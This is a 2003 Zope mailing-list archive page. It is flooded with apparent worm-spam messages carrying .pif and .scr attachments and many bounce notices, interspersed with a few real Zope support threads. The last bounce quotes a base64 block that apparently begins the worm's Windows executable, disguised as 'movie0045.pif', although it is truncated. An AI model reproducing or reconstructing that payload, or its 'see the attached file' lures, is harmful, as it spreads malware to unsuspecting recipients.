[Zope] Re: Wicked screensaver Message-ID: See the attached file for details -------------- next part -------------- A non-text attachment was scrubbed... Name: details.pif Type: application/octet-stream Size: 75254 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/cd241e4b/details-0001.obj From like at it.is Fri Aug 22 19:33:04 2003 From: like at it.is (like@it.is) Date: Fri Aug 22 19:29:18 2003 Subject: [Zope] Re: Thank you! Message-ID: Please see the attached file for details. From webredaktor at tv2.no Fri Aug 22 19:22:25 2003 From: webredaktor at tv2.no (webredaktor@tv2.no) Date: Fri Aug 22 19:30:28 2003 Subject: [Zope] Re: Approved Message-ID: See the attached file for details From net2 at tv2.no Fri Aug 22 19:21:29 2003 From: net2 at tv2.no (net2@tv2.no) Date: Fri Aug 22 19:31:23 2003 Subject: [Zope] Re: Details Message-ID: See the attached file for details From MAILER-DAEMON at mail01.koeln.de Fri Aug 22 19:06:52 2003 From: MAILER-DAEMON at mail01.koeln.de (Mail Delivery Subsystem) Date: Fri Aug 22 19:32:32 2003 Subject: [Zope] Returned mail: User unknown Message-ID: <200308221606.ADT79019@mail01.koeln.de> The original message was received at Fri, 22 Aug 2003 18:06:52 +0200 (CEST) from pD952EA47.dip.t-dialin.net [217.82.234.71] ----- The following addresses had permanent delivery errors ----- -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Your details Date: Fri, 22 Aug 2003 18:05:03 +0200 Size: 670 Url: http://lists.zope.org/pipermail/zope/attachments/20030822/ff8bcccc/attachment-0001.eml From MAILER-DAEMON at tv2.no Fri Aug 22 18:31:40 2003 From: MAILER-DAEMON at tv2.no (Mail Delivery System) Date: Fri Aug 22 19:33:17 2003 Subject: [Zope] Delayed Mail (still being retried) Message-ID: <20030822153140.BA2FD277452@scan1.tv2.no> This is the Postfix program at host scan1.tv2.no. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 24.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : transport is unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 408 bytes Desc: Undelivered Message Headers Url : http://lists.zope.org/pipermail/zope/attachments/20030822/6b7aa53f/attachment-0001.bin From MAILER-DAEMON at tv2.no Fri Aug 22 18:31:41 2003 From: MAILER-DAEMON at tv2.no (Mail Delivery System) Date: Fri Aug 22 19:34:05 2003 Subject: [Zope] Delayed Mail (still being retried) Message-ID: <20030822153141.EFED827745C@scan1.tv2.no> This is the Postfix program at host scan1.tv2.no. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 24.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : transport is unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 444 bytes Desc: Undelivered Message Headers Url : http://lists.zope.org/pipermail/zope/attachments/20030822/858459e0/attachment-0001.bin From MAILER-DAEMON at tv2.no Fri Aug 22 18:48:26 2003 From: MAILER-DAEMON at tv2.no (Mail Delivery System) Date: Fri Aug 22 19:34:53 2003 Subject: [Zope] Delayed Mail (still being retried) Message-ID: <20030822154826.C3C8F277453@scan1.tv2.no> This is the Postfix program at host scan1.tv2.no. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 24.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : transport is unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 408 bytes Desc: Undelivered Message Headers Url : http://lists.zope.org/pipermail/zope/attachments/20030822/1676a1b0/attachment-0001.bin From knut.ivar.skeid at nettavisen.no Fri Aug 22 19:20:32 2003 From: knut.ivar.skeid at nettavisen.no (knut.ivar.skeid@nettavisen.no) Date: Fri Aug 22 19:35:40 2003 Subject: [Zope] Re: Your application Message-ID: See the attached file for details From MAILER-DAEMON at mail4.rits.idcomnet.no Fri Aug 22 19:03:25 2003 From: MAILER-DAEMON at mail4.rits.idcomnet.no (Mail Delivery Subsystem) Date: Fri Aug 22 19:36:31 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308221603.h7MG3LDf002016@mail4.rits.idcomnet.no> The original message was received at Fri, 22 Aug 2003 18:02:22 +0200 from mail1.rits.idcomnet.no [195.204.177.98] ----- The following addresses had permanent fatal errors ----- (reason: 554 5.4.6 Too many hops) ----- Transcript of session follows ----- 554 5.4.6 Too many hops 26 (25 max): from via localhost, to -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Thank you! Date: Fri, 22 Aug 2003 17:57:45 +0200 Size: 5922 Url: http://lists.zope.org/pipermail/zope/attachments/20030822/7518915a/attachment-0001.eml From MAILER-DAEMON at isidor.maxxio.at Fri Aug 22 18:45:22 2003 From: MAILER-DAEMON at isidor.maxxio.at (Mail Delivery Subsystem) Date: Fri Aug 22 19:37:48 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308221545.h7MFjMn2020524@isidor.maxxio.at> The original message was received at Fri, 22 Aug 2003 17:45:17 +0200 from [65.205.28.100] ----- The following addresses had permanent fatal errors ----- (reason: 550-Mailbox unknown. Either there is no mailbox associated with this) ----- Transcript of session follows ----- ... while talking to localhost: >>> DATA <<< 550-Mailbox unknown. Either there is no mailbox associated with this <<< 550-name or you do not have authorization to see it. <<< 550 5.1.1 User unknown 550 5.1.1 ... User unknown <<< 503 5.5.1 No recipients -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Your details Date: Fri, 22 Aug 2003 11:40:39 --0400 Size: 99874 Url: http://lists.zope.org/pipermail/zope/attachments/20030822/60153c71/attachment-0001.eml From fjord at fjordimages.com Fri Aug 22 22:12:14 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 19:38:30 2003 Subject: [Zope] Re: Re: Wicked screensaver Message-ID: <1061562904.10677.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > See the attached file for details From customercare at amexbf.com Fri Aug 22 11:58:03 2003 From: customercare at amexbf.com (customercare@amexbf.com) Date: Fri Aug 22 19:41:20 2003 Subject: [Zope] Re: That movie Message-ID: Please see the attached file for details. -------------- next part -------------- A non-text attachment was scrubbed... Name: wicked_scr.scr Type: application/octet-stream Size: 72595 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/878b9cb7/wicked_scr-0001.obj From dick.wall at usa.net Fri Aug 22 17:56:17 2003 From: dick.wall at usa.net (dick.wall@usa.net) Date: Fri Aug 22 19:43:24 2003 Subject: [Zope] Re: Wicked screensaver Message-ID: Please see the attached file for details. From egil.torheim at nrk.no Fri Aug 22 17:55:17 2003 From: egil.torheim at nrk.no (egil.torheim@nrk.no) Date: Fri Aug 22 19:47:49 2003 Subject: [Zope] Thank you! Message-ID: See the attached file for details From redaksjonen at tysnesbladet.no Fri Aug 22 17:59:06 2003 From: redaksjonen at tysnesbladet.no (redaksjonen@tysnesbladet.no) Date: Fri Aug 22 19:49:14 2003 Subject: [Zope] Re: Thank you! Message-ID: Please see the attached file for details. From gol at fruityloops.com Fri Aug 22 17:55:00 2003 From: gol at fruityloops.com (gol@fruityloops.com) Date: Fri Aug 22 19:58:01 2003 Subject: [Zope] Re: Details Message-ID: See the attached file for details -------------- next part -------------- A non-text attachment was scrubbed... Name: document_all.pif Type: application/octet-stream Size: 74457 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/5108f0a8/document_all-0001.obj From mkmorris at wyoming.com Fri Aug 22 11:54:46 2003 From: mkmorris at wyoming.com (mkmorris@wyoming.com) Date: Fri Aug 22 19:59:31 2003 Subject: [Zope] Re: Re: My details Message-ID: Please see the attached file for details. -------------- next part -------------- A non-text attachment was scrubbed... Name: application.pif Type: application/octet-stream Size: 73848 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/a3cca1d9/application-0001.obj From baiewola at netscape.net Fri Aug 22 16:42:26 2003 From: baiewola at netscape.net (baiewola@netscape.net) Date: Fri Aug 22 20:02:05 2003 Subject: [Zope] anonymous user: Zope 2.6.1/Plone 1.1/Mac OSXS 10.2.6 Message-ID: <0D4E43AB.1489DBB9.00923364@netscape.net> Hi everyone. My zope site was 100% password-restricted (anonymous user assigned no privileges), but now I need to make one folder at the root level accessible by anonymous login. In the security tab of that folder, I unchecked the acquire permissions boxes of everything and checked only the "view" items. But I can't log in with a blank username/password. I get this message from verbose security: Error Type: Unauthorized Error Value: (item 0): Your user account does not have the required permission. Access to 0 of [(Application instance at 18a3760), (Folder instance at 18cfcd0)] denied. Your user account, Anonymous User, exists at /acl_users. Access requires one of the following roles: ['Manager', 'View']. Your roles in this context are ['Anonymous']. I don't understand this error, since I'm logging in without a name or password. Shouldn't it automatically assume I'm an Anonymous User with the Anonymous role? __________________________________________________________________ McAfee VirusScan Online from the Netscape Network. Comprehensive protection for your entire computer. Get your free trial today! http://channels.netscape.com/ns/computing/mcafee/index.jsp?promo=393397 Get AOL Instant Messenger 5.1 free of charge. Download Now! http://aim.aol.com/aimnew/Aim/register.adp?promo=380455 From allison at sumeru.stanford.EDU Fri Aug 22 14:54:30 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Fri Aug 22 20:14:01 2003 Subject: [Zope] odd slowness in ZMI [Revisited] In-Reply-To: <3F43BDD0.1030809@speakeasy.org> Message-ID: I believe that some versions of RH8 may use the new threads library that causes problems on RH9. The behavior you describe is similar to that seen on RH9. On Wed, 20 Aug 2003, John Ziniti wrote: > I would like to revisit an issue raised on this list about a year > ago by Philip Freeman: > > http://mail.zope.org/pipermail/zope/2002-September/123739.html > > does a nice job of explaining the problem. I, too, am having > this problem on RedHat 8.0, Zope-2.4.3, ZEO-1.0. Basically, > requests for management pages time out, especially > manage_menu (though manage_main usually comes back > very quickly). > > Any thoughts are welcomed, > > John Ziniti > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From postmaster at mediapulse.com Fri Aug 22 18:20:19 2003 From: postmaster at mediapulse.com (postmaster@mediapulse.com) Date: Fri Aug 22 20:38:56 2003 Subject: [Zope] Delivery Status Notification (Failure) Message-ID: This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. fty@mediapulse.com -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Your details Date: Fri, 22 Aug 2003 23:20:06 +0200 Size: 101557 Url: http://lists.zope.org/pipermail/zope/attachments/20030822/2f57a536/attachment-0001.eml From MAILER-DAEMON at linux01.newserver.de Wed Aug 20 18:24:33 2003 From: MAILER-DAEMON at linux01.newserver.de (Mail Delivery Subsystem) Date: Fri Aug 22 20:43:13 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308201524.h7KFOXB30779@linux01.newserver.de> The original message was received at Wed, 20 Aug 2003 17:24:20 +0200 from p5086D137.dip.t-dialin.net [80.134.209.55] ----- The following addresses had permanent fatal errors ----- (reason: can't create (user) output file) ----- Transcript of session follows ----- procmail: Error while writing to "/var/spool/mail/hubert" 550 5.0.0 ... Can't create output -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: That movie Date: Wed, 20 Aug 2003 17:52:57 +0200 Size: 100541 Url: http://lists.zope.org/pipermail/zope/attachments/20030820/12af4e04/attachment-0001.eml From allison at sumeru.stanford.EDU Fri Aug 22 16:01:32 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Fri Aug 22 20:46:17 2003 Subject: [Zope] Son of ZSyncer In-Reply-To: <20030821150500.GA1159@slinkp.com> Message-ID: Thanks Paul -- I am putting out another fire at the moment too. I have finally isolated my problem to the cookie authentication interaction although why ZSyncer works and my stuff doesn't remains a mystery. I have been working on cookie authentication code since there is no way I can back off to BasicAuthentication. I'll follow up on this when things get a bit less crazy. On Thu, 21 Aug 2003, Paul Winkler wrote: > On Thu, Aug 21, 2003 at 07:36:32AM -0700, Dennis Allison wrote: > > Paul, > > > > I've made come progress on a 'son of zsyncer' product and have a > > pre-pre-alpha Product which I need to use as a tool ASAP. I have > > encountered some difficulties which I hope you can assist me in > > resolving. > > maybe... > > > My new product re-uses some of ZSyncer, particularly the basic > > authentication code and some of the transport code. It seems to work fine > > between sites which us basic authentication only but gets confused when > > the sites use cookie authentication. ZSyncer authenticates and > > transfers over links that my "son of ZSyncer" product fails on. > > The transport mechanism reports a 500 status to the sender; the receiver > > reports a 401 error (I think) and does so as "Anonymous" rather than > > the user under whose guise the transfer is being performed. > > hmm, afaik zsyncer doesn't make any effort handle cookies, in > fact the xmlrpc code specifically only uses basic auth. > Did you write some cookie code? > > > If you have the time and interest, I'd be happy to share the code > > even in it's currently hacked-up state. > > sure... no guarantee i'll be able to fix anything but i can look. > > Currently i've got a nasty problem with zsyncer itself... seems to > be failing when syncing from a site that uses FileStorage to a > site that uses DirectoryStorage, and i have no idea why but > i need it to work ASAP so i'm rather busy :-( > > -- > > Paul Winkler > http://www.slinkp.com > Look! Up in the sky! It's DESTRUCTO-! > (random hero from isometric.spaceninja.com) > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From zope at dylanreinhardt.com Sat Aug 23 00:36:35 2003 From: zope at dylanreinhardt.com (Dylan Reinhardt) Date: Fri Aug 22 20:47:27 2003 Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password do I use? In-Reply-To: <55688.152.34.59.4.1061473875.squirrel@65.217.249.141> References: <55688.152.34.59.4.1061473875.squirrel@65.217.249.141> Message-ID: <1061576482.1498.383.camel@ida.dylanreinhardt.com> Did you restart Zope after you added the access file? HTH, Dylan On Thu, 2003-08-21 at 06:51, paulporter@buffalotalks.com wrote: > I've got Zope running but when I go to localhost:8080/manage I get a > dialogbox wanting a user name and password. I didn't know what it was > wanting so I created an "access" file using zpasswd.py but apparently it > doesn't see this file because when I enter the user name and password that > I put in the access file zope just regenerates the prompt dialogbox. > > I have made sure that I enter username/password exactly as found in the > access file, I've tried copying th access file into the zope directory, > that had no positive effect so I copied it into the zserver directory and > that had no positive effect either. > > Could some kind soul please tell me how to get into Zope? > > Thanks for any help that might be offered. > > Paul > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From jsilva at ruido-visual.pt Fri Aug 22 16:37:21 2003 From: jsilva at ruido-visual.pt (=?iso-8859-1?Q?J=FAlio?= Silva) Date: Fri Aug 22 20:49:31 2003 Subject: [Zope] ZSyncer - Two new features Message-ID: <5.2.1.1.0.20030822151419.049eda10@localhost> Hi, I've been working with zsyncer and two features were a must for me. 1? RETAIN OWNERSHIP: when a user performs a sync, the objects created on target/destination either get their ownership from the account used to do the sync or from the override (username,password) option on "Edit Server" tab.What I needed was for the sync to DO NOT take ownership on synced objects but rather retain existing ownerhip of the synced objects. For this I made changes to ZSyncer/dtml/Edit.dtml and ZSyncer/ZSyncer.py to be able to have this feature available. In ZSyncer/dtml/Edit.dtml I added some html form options to choose this feature and in ZSyncer/ZSyncer.py I added support for the set_owner variable used once in the call to method setObject which can receive the set_owner param. IMPORTANT: the option you choose, either take ownership or retain ownership, this option must be selected in the same way on source and target servers for this to work as expected. Dont ask. 2? SELECT ALL: have to sync folders with LOT of objects. I needed a "select all" button. For this I made changes to ZSyncer/dtml/Folder.html to add support for the "select all" button. The javascript code was stolen from the "select all" button of Zope's ZMI. Please find attached the files with the changes I made to support this two features. I used ZSyncer 0.4.6. I dont know who maintains the ZSyncer code (Is it Andy on zope.org or zopezen and others on sourceforge?), so I'm sending the code to this list, to have some feedback. Best Regards, Julio Silva Ruido Visual, Lda http://www.ruido-visual.pt/ -------------- next part -------------- --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.507 / Virus Database: 304 - Release Date: 04-08-2003 From list at zettai.net Fri Aug 22 19:01:29 2003 From: list at zettai.net (george donnelly) Date: Fri Aug 22 21:13:58 2003 Subject: [Zope] I does not on the list?? In-Reply-To: <3F269CE0005596B8@stateless1.tiscali.cz> (added by postmaster@mail.tiscali.cz> Message-ID: [Jaroslav Lukesh wrote (lukesh@seznam.cz) on 8/22/03 3:57 AM] > I does not receive nothing from maillist from 2003/08/20 06:17am GMT me neither. i think its because of the problems python.org has been having with its mail stuff. see the posting on the front page of python.org <--> george donnelly ~ http://www.zettai.net/ ~ "Quality Zope Hosting" Shared and Dedicated Zope Hosting ~ Zope Servers ~ Zope Websites Yahoo, AIM: zettainet ~ MSN: zettainet@hotmail.com ~ ICQ: 51907738 From MAILER-DAEMON at mail.sirvisetti.com Sat Aug 23 01:05:47 2003 From: MAILER-DAEMON at mail.sirvisetti.com (MAILER-DAEMON@mail.sirvisetti.com) Date: Fri Aug 22 21:17:11 2003 Subject: [Zope] failure notice Message-ID: Hi. This is the qmail-send program at mail.sirvisetti.com. I'm afraid I wasn't able to deliver your message to the following addresses. This is a permanent error; I've given up. Sorry it didn't work out. : vdeliver: Invalid or unknown virtual user 'howard.brooks' --- Below this line is a copy of the message. Return-Path: Received: (qmail 17261 invoked from network); 22 Aug 2003 19:57:37 -0000 Received: from 209-250-116-253.client.dsl.net (HELO MARS) (209.250.116.253) by mail.sirvisetti.com with SMTP; 22 Aug 2003 19:57:37 -0000 From: To: Subject: Re: Details Date: Fri, 22 Aug 2003 16:05:50 --0700 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_052E3122" This is a multipart message in MIME format --_NextPart_000_052E3122 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_052E3122 Content-Type: application/octet-stream; name="movie0045.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="movie0045.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACchVndAcNB3 